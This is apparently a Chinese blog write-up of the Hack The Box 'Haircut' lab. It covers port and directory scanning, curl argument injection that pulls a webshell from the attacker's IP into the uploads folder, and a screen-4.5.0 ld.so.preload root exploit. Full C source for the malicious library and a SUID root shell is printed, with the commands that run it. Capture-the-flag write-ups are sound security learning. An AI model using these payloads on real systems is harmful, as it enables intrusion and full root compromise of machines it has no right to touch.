• 【Hack The Box】linux练习-- Haircut


    HTB 学习笔记

    Hack The Box】linux练习-- Haircut


    🔥系列专栏:Hack The Box
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年9月7日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!

    在这里插入图片描述

    信息收集

    22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)
    |   256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)
    |_  256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)
    80/tcp open  http    nginx 1.10.0 (Ubuntu)
    |_http-server-header: nginx/1.10.0 (Ubuntu)
    |_http-title:  HTB Hairdresser 
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    /index.html           (Status: 200) [Size: 144]
    /uploads              (Status: 301) [Size: 194]
    
    • 1
    • 2

    在这里插入图片描述CREATOR: gd-jpeg v1.0
    这也没啥用
    到目前为止没有任何思路
    换个大一点的字典接着跑

    gobuster dir -u http://10.129.95.174 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -x php
    
    • 1

    又扫出来个

    /exposed.php
    
    • 1

    在这里插入图片描述直接go一下吓我一跳

    在这里插入图片描述
    他的这个页面值得注意的就是这个(一会再说)
    但是我们还是按照正常的审查思路来
    首先,我们应该考虑,能不能包含我们的本地文件

    开始实施,先放咱们自己的ip
    在这里插入图片描述本地开个icmp监听
    确定可以
    于是尝试本地文件包含,但后门文件只是被作为一部分响应体,所以继续
    在这里插入图片描述
    在页面上就是类似长得像这样
    在这里插入图片描述没有人会去解析我们的php

    期权注入

    我们在看到他访问自己的界面的时候的显示
    是非常少见的,或者说你几乎没有见过的------
    这个东西是curl的一个特征
    我们可以看到curl的正常输出是这样的
    在这里插入图片描述
    结合我刚才发现了uploads目录,我将尝试-o将我们的脚本输出到uploads
    对于webshell
    默认的目录一般均为/var/www/http

    我们现在假设他执行了curl命令
    那么需要在框子中输入
    http://10.10.14.7/shell.php -o /var/www/html/uploads/shell.php
    在这里插入图片描述
    在这里插入图片描述

    提权

    find / -perm -4000 -o -perm -2000 -type f 2>/dev/null  
    
    • 1

    在这里插入图片描述

    exp分析

    https://www.exploit-db.com/exploits/41154
    
    • 1

    把sh丢进去赋权执行吧
    结果报错,应该是gcc的问题可能,那我就在本地做好然传进去,这叫自动脚本手动化

    在这里插入图片描述

    手动分析

    我觉得这个就是一个恶意库劫持

    首先,它改变了的所有者 /tmp/rootshell到 root:root,然后将权限更改为 SUID,删除文件 /etc/ld.so.preload, 并打印一条消息。 当然,这看不懂都没关系,看得懂他在哪里执行什么就行
    然后把这段c代码编译成 /tmp/libhax.so

    cat << EOF > /tmp/libhax.c
    #include <stdio.h>
    #include <sys/types.h>
    #include <unistd.h>
    __attribute__ ((__constructor__))
    void dropshell(void){
        chown("/tmp/rootshell", 0, 0);
        chmod("/tmp/rootshell", 04755);
        unlink("/etc/ld.so.preload");
        printf("[+] done!\n");
    }
    EOF
    gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
    rm -f /tmp/libhax.c
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    接下来脚本创建 /tmp/rootshell:

    cat << EOF > /tmp/rootshell.c
    #include <stdio.h>
    int main(void){
        setuid(0);
        setgid(0);
        seteuid(0);
        setegid(0);
        execvp("/bin/sh", NULL, NULL);
    }
    EOF
    gcc -o /tmp/rootshell /tmp/rootshell.c
    rm -f /tmp/rootshell.c
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    然后这几步我也看不懂,照抄就行
    在这里插入图片描述
    最后,它会调用现在的 SUID /tmp/rootshell

    执行

    把刚才上面代码块里的c部分取出来,一个是libhax.c,一个是rootshell.c

    gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
    gcc -o /tmp/rootshell /tmp/rootshell.c
    
    • 1
    • 2

    可以就在当前目录,不需要tmp
    在这里插入图片描述
    编译报了点问题
    但好像没啥事
    然后在靶机wget下载过去rootshell和libhax.so

    cd /etc/
    umask 000
    screen-4.5.0 -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" 
    cat ld.so.preload
    screen-4.5.0 -ls
    /tmp/rootshell 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
  • 相关阅读:
    【AWS系列】第八讲:AWS Serverless之S3
    46道面试题带你了解高级Java面试
    Install pypoman on MACOS (M1)
    Ubuntu系统下挂载共享文件夹的操作
    mysql leetcode打题记录
    码农死磕这份Java高级开发文档,成功‘挤‘进一线大厂,这也太强了吧
    【C语言】语法--联合体union详解
    【Python程序设计】 工厂模式【07/8】
    chrome Dev Tools 性能分析 performance
    组件通讯的方式有哪些
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/127943167